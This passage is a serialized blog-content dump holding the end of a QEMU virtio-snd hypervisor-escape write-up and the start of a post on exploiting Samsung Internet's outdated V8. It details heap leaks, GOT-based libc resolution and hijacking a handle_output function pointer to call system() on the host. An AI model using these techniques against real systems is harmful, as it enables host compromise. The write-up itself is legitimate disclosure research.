ps":138071,"children":138072},{"style":630},[138073],{"type":29,"value":8307},{"type":24,"tag":271,"props":138075,"children":138076},{"style":624},[138077],{"type":29,"value":1712},{"type":24,"tag":271,"props":138079,"children":138080},{"style":477},[138081],{"type":29,"value":767},{"type":24,"tag":271,"props":138083,"children":138084},{"style":288},[138085],{"type":29,"value":1069},{"type":24,"tag":271,"props":138087,"children":138088},{"class":273,"line":4658},[138089,138093,138097,138101,138105,138109,138113],{"type":24,"tag":271,"props":138090,"children":138091},{"style":598},[138092],{"type":29,"value":131097},{"type":24,"tag":271,"props":138094,"children":138095},{"style":288},[138096],{"type":29,"value":606},{"type":24,"tag":271,"props":138098,"children":138099},{"style":624},[138100],{"type":29,"value":1137},{"type":24,"tag":271,"props":138102,"children":138103},{"style":630},[138104],{"type":29,"value":43929},{"type":24,"tag":271,"props":138106,"children":138107},{"style":288},[138108],{"type":29,"value":786},{"type":24,"tag":271,"props":138110,"children":138111},{"style":630},[138112],{"type":29,"value":131118},{"type":24,"tag":271,"props":138114,"children":138115},{"style":288},[138116],{"type":29,"value":138117},", buffer, entry);\n",{"type":24,"tag":271,"props":138119,"children":138120},{"class":273,"line":4666},[138121],{"type":24,"tag":271,"props":138122,"children":138123},{"style":288},[138124],{"type":29,"value":7574},{"type":24,"tag":25,"props":138126,"children":138127},{},[138128,138129,138134,138136,138141,138143,138148,138150,138156],{"type":29,"value":131172},{"type":24,"tag":135,"props":138130,"children":138132},{"className":138131},[],[138133],{"type":29,"value":131178},{"type":29,"value":138135},", QEMU allocates a ",{"type":24,"tag":135,"props":138137,"children":138139},{"className":138138},[],[138140],{"type":29,"value":131315},{"type":29,"value":138142}," whose size depends on the guest-provided iovec, and at ",{"type":24,"tag":135,"props":138144,"children":138146},{"className":138145},[],[138147],{"type":29,"value":131213},{"type":29,"value":138149}," it stores the ",{"type":24,"tag":135,"props":138151,"children":138153},{"className":138152},[],[138154],{"type":29,"value":138155},"VirtQueue *vq",{"type":29,"value":138157}," pointer into the buffer.",{"type":24,"tag":25,"props":138159,"children":138160},{},[138161,138162,138168],{"type":29,"value":71003},{"type":24,"tag":135,"props":138163,"children":138165},{"className":138164},[],[138166],{"type":29,"value":138167},"VirtQueue",{"type":29,"value":138169}," structure contains some useful fields:",{"type":24,"tag":261,"props":138171,"children":138173},{"code":138172,"language":578,"meta":7,"className":576,"style":7},"struct VirtQueue\n{\n [...]\n\n VirtIOHandleOutput handle_output;\n VirtIODevice *vdev;\n\n [...]\n};\n",[138174],{"type":24,"tag":135,"props":138175,"children":138176},{"__ignoreMap":7},[138177,138189,138196,138203,138210,138218,138235,138242,138249],{"type":24,"tag":271,"props":138178,"children":138179},{"class":273,"line":274},[138180,138184],{"type":24,"tag":271,"props":138181,"children":138182},{"style":278},[138183],{"type":29,"value":1772},{"type":24,"tag":271,"props":138185,"children":138186},{"style":288},[138187],{"type":29,"value":138188}," VirtQueue\n",{"type":24,"tag":271,"props":138190,"children":138191},{"class":273,"line":284},[138192],{"type":24,"tag":271,"props":138193,"children":138194},{"style":288},[138195],{"type":29,"value":702},{"type":24,"tag":271,"props":138197,"children":138198},{"class":273,"line":294},[138199],{"type":24,"tag":271,"props":138200,"children":138201},{"style":288},[138202],{"type":29,"value":111591},{"type":24,"tag":271,"props":138204,"children":138205},{"class":273,"line":303},[138206],{"type":24,"tag":271,"props":138207,"children":138208},{"emptyLinePlaceholder":16},[138209],{"type":29,"value":327},{"type":24,"tag":271,"props":138211,"children":138212},{"class":273,"line":312},[138213],{"type":24,"tag":271,"props":138214,"children":138215},{"style":288},[138216],{"type":29,"value":138217}," VirtIOHandleOutput handle_output;\n",{"type":24,"tag":271,"props":138219,"children":138220},{"class":273,"line":321},[138221,138226,138230],{"type":24,"tag":271,"props":138222,"children":138223},{"style":288},[138224],{"type":29,"value":138225}," VirtIODevice ",{"type":24,"tag":271,"props":138227,"children":138228},{"style":624},[138229],{"type":29,"value":627},{"type":24,"tag":271,"props":138231,"children":138232},{"style":288},[138233],{"type":29,"value":138234},"vdev;\n",{"type":24,"tag":271,"props":138236,"children":138237},{"class":273,"line":330},[138238],{"type":24,"tag":271,"props":138239,"children":138240},{"emptyLinePlaceholder":16},[138241],{"type":29,"value":327},{"type":24,"tag":271,"props":138243,"children":138244},{"class":273,"line":339},[138245],{"type":24,"tag":271,"props":138246,"children":138247},{"style":288},[138248],{"type":29,"value":111591},{"type":24,"tag":271,"props":138250,"children":138251},{"class":273,"line":347},[138252],{"type":24,"tag":271,"props":138253,"children":138254},{"style":288},[138255],{"type":29,"value":4006},{"type":24,"tag":25,"props":138257,"children":138258},{},[138259,138260,138266,138268,138274],{"type":29,"value":1422},{"type":24,"tag":135,"props":138261,"children":138263},{"className":138262},[],[138264],{"type":29,"value":138265},".handle_output",{"type":29,"value":138267}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":24,"tag":135,"props":138269,"children":138271},{"className":138270},[],[138272],{"type":29,"value":138273},".vdev",{"type":29,"value":138275}," is the pointer passed to it as the first argument:",{"type":24,"tag":261,"props":138277,"children":138279},{"code":138278,"language":578,"meta":7,"className":576,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n if (vq->vring.desc && vq->handle_output) {\n VirtIODevice *vdev = vq->vdev;\n\n [...]\n\n vq->handle_output(vdev, vq);\n\n [...]\n }\n}\n",[138280],{"type":24,"tag":135,"props":138281,"children":138282},{"__ignoreMap":7},[138283,138316,138323,138378,138415,138422,138429,138436,138457,138464,138471,138478],{"type":24,"tag":271,"props":138284,"children":138285},{"class":273,"line":274},[138286,138290,138294,138299,138304,138308,138312],{"type":24,"tag":271,"props":138287,"children":138288},{"style":278},[138289],{"type":29,"value":590},{"type":24,"tag":271,"props":138291,"children":138292},{"style":278},[138293],{"type":29,"value":595},{"type":24,"tag":271,"props":138295,"children":138296},{"style":598},[138297],{"type":29,"value":138298}," virtio_queue_notify_vq",{"type":24,"tag":271,"props":138300,"children":138301},{"style":288},[138302],{"type":29,"value":138303},"(VirtQueue ",{"type":24,"tag":271,"props":138305,"children":138306},{"style":624},[138307],{"type":29,"value":627},{"type":24,"tag":271,"props":138309,"children":138310},{"style":630},[138311],{"type":29,"value":130662},{"type":24,"tag":271,"props":138313,"children":138314},{"style":288},[138315],{"type":29,"value":694},{"type":24,"tag":271,"props":138317,"children":138318},{"class":273,"line":284},[138319],{"type":24,"tag":271,"props":138320,"children":138321},{"style":288},[138322],{"type":29,"value":702},{"type":24,"tag":271,"props":138324,"children":138325},{"class":273,"line":294},[138326,138330,138334,138338,138342,138347,138351,138356,138360,138365,138369,138374],{"type":24,"tag":271,"props":138327,"children":138328},{"style":749},[138329],{"type":29,"value":5025},{"type":24,"tag":271,"props":138331,"children":138332},{"style":288},[138333],{"type":29,"value":1357},{"type":24,"tag":271,"props":138335,"children":138336},{"style":630},[138337],{"type":29,"value":130662},{"type":24,"tag":271,"props":138339,"children":138340},{"style":288},[138341],{"type":29,"value":786},{"type":24,"tag":271,"props":138343,"children":138344},{"style":630},[138345],{"type":29,"value":138346},"vring",{"type":24,"tag":271,"props":138348,"children":138349},{"style":288},[138350],{"type":29,"value":41},{"type":24,"tag":271,"props":138352,"children":138353},{"style":630},[138354],{"type":29,"value":138355},"desc",{"type":24,"tag":271,"props":138357,"children":138358},{"style":624},[138359],{"type":29,"value":989},{"type":24,"tag":271,"props":138361,"children":138362},{"style":630},[138363],{"type":29,"value":138364}," vq",{"type":24,"tag":271,"props":138366,"children":138367},{"style":288},[138368],{"type":29,"value":786},{"type":24,"tag":271,"props":138370,"children":138371},{"style":630},[138372],{"type":29,"value":138373},"handle_output",{"type":24,"tag":271,"props":138375,"children":138376},{"style":288},[138377],{"type":29,"value":919},{"type":24,"tag":271,"props":138379,"children":138380},{"class":273,"line":303},[138381,138386,138390,138395,138399,138403,138407,138411],{"type":24,"tag":271,"props":138382,"children":138383},{"style":288},[138384],{"type":29,"value":138385}," VirtIODevice ",{"type":24,"tag":271,"props":138387,"children":138388},{"style":624},[138389],{"type":29,"value":627},{"type":24,"tag":271,"props":138391,"children":138392},{"style":288},[138393],{"type":29,"value":138394},"vdev ",{"type":24,"tag":271,"props":138396,"children":138397},{"style":624},[138398],{"type":29,"value":762},{"type":24,"tag":271,"props":138400,"children":138401},{"style":630},[138402],{"type":29,"value":138364},{"type":24,"tag":271,"props":138404,"children":138405},{"style":288},[138406],{"type":29,"value":786},{"type":24,"tag":271,"props":138408,"children":138409},{"style":630},[138410],{"type":29,"value":130648},{"type":24,"tag":271,"props":138412,"children":138413},{"style":288},[138414],{"type":29,"value":1069},{"type":24,"tag":271,"props":138416,"children":138417},{"class":273,"line":312},[138418],{"type":24,"tag":271,"props":138419,"children":138420},{"emptyLinePlaceholder":16},[138421],{"type":29,"value":327},{"type":24,"tag":271,"props":138423,"children":138424},{"class":273,"line":321},[138425],{"type":24,"tag":271,"props":138426,"children":138427},{"style":288},[138428],{"type":29,"value":130829},{"type":24,"tag":271,"props":138430,"children":138431},{"class":273,"line":330},[138432],{"type":24,"tag":271,"props":138433,"children":138434},{"emptyLinePlaceholder":16},[138435],{"type":29,"value":327},{"type":24,"tag":271,"props":138437,"children":138438},{"class":273,"line":339},[138439,138444,138448,138452],{"type":24,"tag":271,"props":138440,"children":138441},{"style":630},[138442],{"type":29,"value":138443}," vq",{"type":24,"tag":271,"props":138445,"children":138446},{"style":288},[138447],{"type":29,"value":786},{"type":24,"tag":271,"props":138449,"children":138450},{"style":598},[138451],{"type":29,"value":138373},{"type":24,"tag":271,"props":138453,"children":138454},{"style":288},[138455],{"type":29,"value":138456},"(vdev, vq);\n",{"type":24,"tag":271,"props":138458,"children":138459},{"class":273,"line":347},[138460],{"type":24,"tag":271,"props":138461,"children":138462},{"emptyLinePlaceholder":16},[138463],{"type":29,"value":327},{"type":24,"tag":271,"props":138465,"children":138466},{"class":273,"line":356},[138467],{"type":24,"tag":271,"props":138468,"children":138469},{"style":288},[138470],{"type":29,"value":130829},{"type":24,"tag":271,"props":138472,"children":138473},{"class":273,"line":365},[138474],{"type":24,"tag":271,"props":138475,"children":138476},{"style":288},[138477],{"type":29,"value":4385},{"type":24,"tag":271,"props":138479,"children":138480},{"class":273,"line":374},[138481],{"type":24,"tag":271,"props":138482,"children":138483},{"style":288},[138484],{"type":29,"value":1171},{"type":24,"tag":25,"props":138486,"children":138487},{},[138488,138490,138495,138497,138502,138504,138510,138512,138517,138518,138523,138525,138530],{"type":29,"value":138489},"This means that if we free the known-address chunk and replace it with a ",{"type":24,"tag":135,"props":138491,"children":138493},{"className":138492},[],[138494],{"type":29,"value":131315},{"type":29,"value":138496}," - which is straightforward, since we control the buffer allocation size through the ",{"type":24,"tag":135,"props":138498,"children":138500},{"className":138499},[],[138501],{"type":29,"value":130903},{"type":29,"value":138503}," iovec - we can use the arbitrary read primitive to read its ",{"type":24,"tag":135,"props":138505,"children":138507},{"className":138506},[],[138508],{"type":29,"value":138509},".vq",{"type":29,"value":138511}," pointer, then follow that pointer to leak ",{"type":24,"tag":135,"props":138513,"children":138515},{"className":138514},[],[138516],{"type":29,"value":138265},{"type":29,"value":23749},{"type":24,"tag":135,"props":138519,"children":138521},{"className":138520},[],[138522],{"type":29,"value":138167},{"type":29,"value":138524}," structure. In our case, that field points to ",{"type":24,"tag":135,"props":138526,"children":138528},{"className":138527},[],[138529],{"type":29,"value":130555},{"type":29,"value":138531},", which gives us QEMU's base address.",{"type":24,"tag":25,"props":138533,"children":138534},{},[138535,138537,138543],{"type":29,"value":138536},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":24,"tag":135,"props":138538,"children":138540},{"className":138539},[],[138541],{"type":29,"value":138542},"system",{"type":29,"value":41},{"type":24,"tag":85,"props":138545,"children":138547},{"id":138546},"rip-control",[138548],{"type":29,"value":138549},"RIP Control",{"type":24,"tag":25,"props":138551,"children":138552},{},[138553,138555,138560,138562,138568],{"type":29,"value":138554},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":24,"tag":135,"props":138556,"children":138558},{"className":138557},[],[138559],{"type":29,"value":138542},{"type":29,"value":138561},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":24,"tag":135,"props":138563,"children":138565},{"className":138564},[],[138566],{"type":29,"value":138567},"VirtQueue.handle_output",{"type":29,"value":41},{"type":24,"tag":25,"props":138570,"children":138571},{},[138572,138574,138579,138581,138586,138588,138593],{"type":29,"value":138573},"We overwrite ",{"type":24,"tag":135,"props":138575,"children":138577},{"className":138576},[],[138578],{"type":29,"value":138265},{"type":29,"value":138580}," with the address of ",{"type":24,"tag":135,"props":138582,"children":138584},{"className":138583},[],[138585],{"type":29,"value":138542},{"type":29,"value":138587}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":24,"tag":135,"props":138589,"children":138591},{"className":138590},[],[138592],{"type":29,"value":138273},{"type":29,"value":138594}," with the address of that command string, so it is passed as the first argument.",{"type":24,"tag":25,"props":138596,"children":138597},{},[138598,138600,138606,138608,138614,138616,138622],{"type":29,"value":138599},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":24,"tag":135,"props":138601,"children":138603},{"className":138602},[],[138604],{"type":29,"value":138605},"virtio_queue_notify_vq",{"type":29,"value":138607},", which calls ",{"type":24,"tag":135,"props":138609,"children":138611},{"className":138610},[],[138612],{"type":29,"value":138613},"vq->handle_output(vq->vdev)",{"type":29,"value":138615}," - or, after our overwrites, ",{"type":24,"tag":135,"props":138617,"children":138619},{"className":138618},[],[138620],{"type":29,"value":138621},"system(command)",{"type":29,"value":41},{"type":24,"tag":25,"props":138624,"children":138625},{},[138626,138628,138634,138636],{"type":29,"value":138627},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":24,"tag":135,"props":138629,"children":138631},{"className":138630},[],[138632],{"type":29,"value":138633},"gnome-calculator",{"type":29,"value":138635}," on the host system:\n",{"type":24,"tag":38643,"props":138637,"children":138638},{},[],{"type":24,"tag":138640,"props":138641,"children":138650},"tweet-card",{"author-name":138642,"date":138643,"duration":138644,"handle":138645,"media-mime-type":138646,"media-src":138647,"media-type":138648,"tweet-url":138649},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[138651,138656,138661],{"type":24,"tag":25,"props":138652,"children":138653},{},[138654],{"type":29,"value":138655},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":24,"tag":25,"props":138657,"children":138658},{},[138659],{"type":29,"value":138660},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":24,"tag":25,"props":138662,"children":138663},{},[138664],{"type":29,"value":138665},"Writeup coming next week.",{"type":24,"tag":38643,"props":138667,"children":138668},{},[],{"type":24,"tag":25,"props":138670,"children":138671},{},[138672,138674,138680,138682,138688],{"type":29,"value":138673},"The final exploit, targeting QEMU commit ",{"type":24,"tag":135,"props":138675,"children":138677},{"className":138676},[],[138678],{"type":29,"value":138679},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":29,"value":138681}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":24,"tag":32,"props":138683,"children":138686},{"href":138684,"rel":138685},"https://github.com/otter-sec/qemu-escape",[36],[138687],{"type":29,"value":55251},{"type":29,"value":41},{"type":24,"tag":25,"props":138690,"children":138691},{},[138692,138694,138701],{"type":29,"value":138693},"Special thanks to ",{"type":24,"tag":32,"props":138695,"children":138698},{"href":138696,"rel":138697},"https://www.willsroot.io/",[36],[138699],{"type":29,"value":138700},"William Liu",{"type":29,"value":138702}," for proofreading this post and helping us polish it before publication.",{"type":24,"tag":62,"props":138704,"children":138705},{"id":10547},[138706],{"type":29,"value":10550},{"type":24,"tag":25,"props":138708,"children":138709},{},[138710],{"type":29,"value":138711},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":24,"tag":25,"props":138713,"children":138714},{},[138715],{"type":29,"value":138716},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":24,"tag":10562,"props":138718,"children":138719},{},[138720],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":138722},[138723,138726,138729,138738],{"id":130451,"depth":284,"text":130464,"children":138724},[138725],{"id":130472,"depth":294,"text":130475},{"id":130496,"depth":284,"text":130499,"children":138727},[138728],{"id":130510,"depth":294,"text":130510},{"id":106898,"depth":284,"text":106901,"children":138730},[138731,138732,138733,138734,138735,138736,138737],{"id":133102,"depth":294,"text":133105},{"id":134629,"depth":294,"text":134632},{"id":135423,"depth":294,"text":135426},{"id":135828,"depth":294,"text":135831},{"id":136044,"depth":294,"text":136047},{"id":136250,"depth":294,"text":136253},{"id":138546,"depth":294,"text":138549},{"id":10547,"depth":284,"text":10550},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":138743,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":138744,"description":138745,"date":138746,"author":138747,"image":138750,"isFeatured":16,"onBlogPage":16,"tags":138752,"body":138755,"_type":10599,"_id":148663,"_source":10601,"_file":148664,"_stem":148665,"_extension":10604},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[130447,138748,138749],"jamie","william",{"src":138751,"width":104058,"height":21324},"/posts/mobile-renderer-rce/title.png",[138753,138754],"RCE","mobile",{"type":21,"children":138756,"toc":148643},[138757,138761,138766,138780,138786,138800,138821,138829,138842,138850,138863,138869,138882,138896,138902,138916,139019,139024,139032,139037,139042,139063,139141,139149,139168,139181,139187,139193,139207,139323,139328,139333,139341,139346,139354,139382,139411,139423,139599,139604,139612,139631,139644,139650,139670,139684,139689,139694,139722,139758,139827,139833,139855,139860,139868,139881,139886,139894,139899,139938,139944,139957,139962,140140,140150,140158,140178,140202,140215,140221,140226,140868,140873,140881,140923,142912,142917,142925,142931,142964,142982,143152,143210,143235,143329,143334,144125,144130,144138,144149,146193,146198,146206,146212,146234,146248,146261,146273,146303,146308,146749,146777,146884,146901,147058,147063,147075,147371,147397,147420,147552,147564,147569,147721,147757,147770,147775,147897,147938,148015,148020,148594,148600,148612,148625,148629,148634,148639],{"type":24,"tag":62,"props":138758,"children":138759},{"id":36692},[138760],{"type":29,"value":36695},{"type":24,"tag":25,"props":138762,"children":138763},{},[138764],{"type":29,"value":138765},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":24,"tag":25,"props":138767,"children":138768},{},[138769,138771,138778],{"type":29,"value":138770},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":24,"tag":32,"props":138772,"children":138775},{"href":138773,"rel":138774},"https://cor.team",[36],[138776],{"type":29,"value":138777},"Crusaders of Rust",{"type":29,"value":138779}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":24,"tag":85,"props":138781,"children":138783},{"id":138782},"finding-the-v8-version",[138784],{"type":29,"value":138785},"Finding the V8 Version",{"type":24,"tag":25,"props":138787,"children":138788},{},[138789,138791,138798],{"type":29,"value":138790},"We started by pulling Samsung Internet's APK from the device over ",{"type":24,"tag":32,"props":138792,"children":138795},{"href":138793,"rel":138794},"https://developer.android.com/tools/adb",[36],[138796],{"type":29,"value":138797},"adb",{"type":29,"value":138799}," and inspecting the libraries it shipped with.",{"type":24,"tag":25,"props":138801,"children":138802},{},[138803,138805,138811,138813,138819],{"type":29,"value":138804},"After extracting the APK, we searched the ",{"type":24,"tag":135,"props":138806,"children":138808},{"className":138807},[],[138809],{"type":29,"value":138810},"lib/",{"type":29,"value":138812}," directory for ",{"type":24,"tag":135,"props":138814,"children":138816},{"className":138815},[],[138817],{"type":29,"value":138818},"v8::*",{"type":29,"value":138820}," symbols:",{"type":24,"tag":261,"props":138822,"children":138824},{"code":138823},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[138825],{"type":24,"tag":135,"props":138826,"children":138827},{"__ignoreMap":7},[138828],{"type":29,"value":138823},{"type":24,"tag":25,"props":138830,"children":138831},{},[138832,138834,138840],{"type":29,"value":138833},"Only one file matched our search: ",{"type":24,"tag":135,"props":138835,"children":138837},{"className":138836},[],[138838],{"type":29,"value":138839},"libterrace.so",{"type":29,"value":138841},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":24,"tag":25,"props":138843,"children":138844},{},[138845],{"type":24,"tag":74,"props":138846,"children":138849},{"alt":138847,"src":138848},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":24,"tag":25,"props":138851,"children":138852},{},[138853,138855,138861],{"type":29,"value":138854},"Surprisingly, this ",{"type":24,"tag":135,"props":138856,"children":138858},{"className":138857},[],[138859],{"type":29,"value":138860},"13.6.233.10",{"type":29,"value":138862}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":24,"tag":85,"props":138864,"children":138866},{"id":138865},"choosing-the-bug",[138867],{"type":29,"value":138868},"Choosing the Bug",{"type":24,"tag":25,"props":138870,"children":138871},{},[138872,138874,138880],{"type":29,"value":138873},"We were able to trigger a couple of bugs on our locally compiled ",{"type":24,"tag":135,"props":138875,"children":138877},{"className":138876},[],[138878],{"type":29,"value":138879},"d8",{"type":29,"value":138881}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":24,"tag":25,"props":138883,"children":138884},{},[138885,138887,138894],{"type":29,"value":138886},"Another one was ",{"type":24,"tag":32,"props":138888,"children":138891},{"href":138889,"rel":138890},"https://issuetracker.google.com/issues/443875388",[36],[138892],{"type":29,"value":138893},"CVE-2025-10891",{"type":29,"value":138895}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":24,"tag":62,"props":138897,"children":138899},{"id":138898},"ignition-bytecode-introduction",[138900],{"type":29,"value":138901},"Ignition Bytecode Introduction",{"type":24,"tag":25,"props":138903,"children":138904},{},[138905,138907,138914],{"type":29,"value":138906},"V8 initially compiles all JS code to a bytecode format with the ",{"type":24,"tag":32,"props":138908,"children":138911},{"href":138909,"rel":138910},"https://v8.dev/blog/ignition-interpreter",[36],[138912],{"type":29,"value":138913},"Ignition",{"type":29,"value":138915}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":24,"tag":261,"props":138917,"children":138919},{"code":138918,"language":39040,"meta":7,"className":39038,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[138920],{"type":24,"tag":135,"props":138921,"children":138922},{"__ignoreMap":7},[138923,138946,138970,138994],{"type":24,"tag":271,"props":138924,"children":138925},{"class":273,"line":274},[138926,138930,138934,138938,138942],{"type":24,"tag":271,"props":138927,"children":138928},{"style":278},[138929],{"type":29,"value":19490},{"type":24,"tag":271,"props":138931,"children":138932},{"style":630},[138933],{"type":29,"value":96626},{"type":24,"tag":271,"props":138935,"children":138936},{"style":624},[138937],{"type":29,"value":1712},{"type":24,"tag":271,"props":138939,"children":138940},{"style":477},[138941],{"type":29,"value":824},{"type":24,"tag":271,"props":138943,"children":138944},{"style":288},[138945],{"type":29,"value":1069},{"type":24,"tag":271,"props":138947,"children":138948},{"class":273,"line":284},[138949,138953,138957,138961,138966],{"type":24,"tag":271,"props":138950,"children":138951},{"style":278},[138952],{"type":29,"value":19490},{"type":24,"tag":271,"props":138954,"children":138955},{"style":630},[138956],{"type":29,"value":97500},{"type":24,"tag":271,"props":138958,"children":138959},{"style":624},[138960],{"type":29,"value":1712},{"type":24,"tag":271,"props":138962,"children":138963},{"style":477},[138964],{"type":29,"value":138965}," 0x0fff",{"type":24,"tag":271,"props":138967,"children":138968},{"style":288},[138969],{"type":29,"value":1069},{"type":24,"tag":271,"props":138971,"children":138972},{"class":273,"line":294},[138973,138977,138981,138985,138990],{"type":24,"tag":271,"props":138974,"children":138975},{"style":278},[138976],{"type":29,"value":19490},{"type":24,"tag":271,"props":138978,"children":138979},{"style":630},[138980],{"type":29,"value":45113},{"type":24,"tag":271,"props":138982,"children":138983},{"style":624},[138984],{"type":29,"value":1712},{"type":24,"tag":271,"props":138986,"children":138987},{"style":477},[138988],{"type":29,"value":138989}," 0x0fffffff",{"type":24,"tag":271,"props":138991,"children":138992},{"style":288},[138993],{"type":29,"value":1069},{"type":24,"tag":271,"props":138995,"children":138996},{"class":273,"line":303},[138997,139001,139006,139010,139015],{"type":24,"tag":271,"props":138998,"children":138999},{"style":278},[139000],{"type":29,"value":19490},{"type":24,"tag":271,"props":139002,"children":139003},{"style":630},[139004],{"type":29,"value":139005}," d",{"type":24,"tag":271,"props":139007,"children":139008},{"style":624},[139009],{"type":29,"value":1712},{"type":24,"tag":271,"props":139011,"children":139012},{"style":477},[139013],{"type":29,"value":139014}," 0xffffffff",{"type":24,"tag":271,"props":139016,"children":139017},{"style":288},[139018],{"type":29,"value":1069},{"type":24,"tag":25,"props":139020,"children":139021},{},[139022],{"type":29,"value":139023},"compiles to",{"type":24,"tag":261,"props":139025,"children":139027},{"code":139026}," # Load the Smi `1` into the accumulator\n 0 : 0d 01 LdaSmi [1]\n # Store it to register 0\n 2 : ce Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00 LdaConstant [0]\n# Store it to register 3\n17 : cb Star3\n18 : 0e LdaUndefined\n19 : b3 Return\n",[139028],{"type":24,"tag":135,"props":139029,"children":139030},{"__ignoreMap":7},[139031],{"type":29,"value":139026},{"type":24,"tag":25,"props":139033,"children":139034},{},[139035],{"type":29,"value":139036},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":24,"tag":85,"props":139038,"children":139040},{"id":139039},"cve-2025-10891",[139041],{"type":29,"value":138893},{"type":24,"tag":25,"props":139043,"children":139044},{},[139045,139047,139053,139055,139061],{"type":29,"value":139046},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":24,"tag":135,"props":139048,"children":139050},{"className":139049},[],[139051],{"type":29,"value":139052},"[start, end) => handler",{"type":29,"value":139054}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":24,"tag":135,"props":139056,"children":139058},{"className":139057},[],[139059],{"type":29,"value":139060},"handler",{"type":29,"value":139062}," is jumped to.",{"type":24,"tag":261,"props":139064,"children":139066},{"code":139065,"language":39040,"meta":7,"className":39038,"style":7},"try {\n throw 1;\n} catch {\n let b = 2;\n}\n",[139067],{"type":24,"tag":135,"props":139068,"children":139069},{"__ignoreMap":7},[139070,139081,139096,139111,139134],{"type":24,"tag":271,"props":139071,"children":139072},{"class":273,"line":274},[139073,139077],{"type":24,"tag":271,"props":139074,"children":139075},{"style":749},[139076],{"type":29,"value":55998},{"type":24,"tag":271,"props":139078,"children":139079},{"style":288},[139080],{"type":29,"value":7145},{"type":24,"tag":271,"props":139082,"children":139083},{"class":273,"line":284},[139084,139088,139092],{"type":24,"tag":271,"props":139085,"children":139086},{"style":749},[139087],{"type":29,"value":42869},{"type":24,"tag":271,"props":139089,"children":139090},{"style":477},[139091],{"type":29,"value":824},{"type":24,"tag":271,"props":139093,"children":139094},{"style":288},[139095],{"type":29,"value":1069},{"type":24,"tag":271,"props":139097,"children":139098},{"class":273,"line":294},[139099,139103,139107],{"type":24,"tag":271,"props":139100,"children":139101},{"style":288},[139102],{"type":29,"value":54540},{"type":24,"tag":271,"props":139104,"children":139105},{"style":749},[139106],{"type":29,"value":56076},{"type":24,"tag":271,"props":139108,"children":139109},{"style":288},[139110],{"type":29,"value":7145},{"type":24,"tag":271,"props":139112,"children":139113},{"class":273,"line":303},[139114,139118,139122,139126,139130],{"type":24,"tag":271,"props":139115,"children":139116},{"style":278},[139117],{"type":29,"value":15571},{"type":24,"tag":271,"props":139119,"children":139120},{"style":630},[139121],{"type":29,"value":97500},{"type":24,"tag":271,"props":139123,"children":139124},{"style":624},[139125],{"type":29,"value":1712},{"type":24,"tag":271,"props":139127,"children":139128},{"style":477},[139129],{"type":29,"value":4183},{"type":24,"tag":271,"props":139131,"children":139132},{"style":288},[139133],{"type":29,"value":1069},{"type":24,"tag":271,"props":139135,"children":139136},{"class":273,"line":312},[139137],{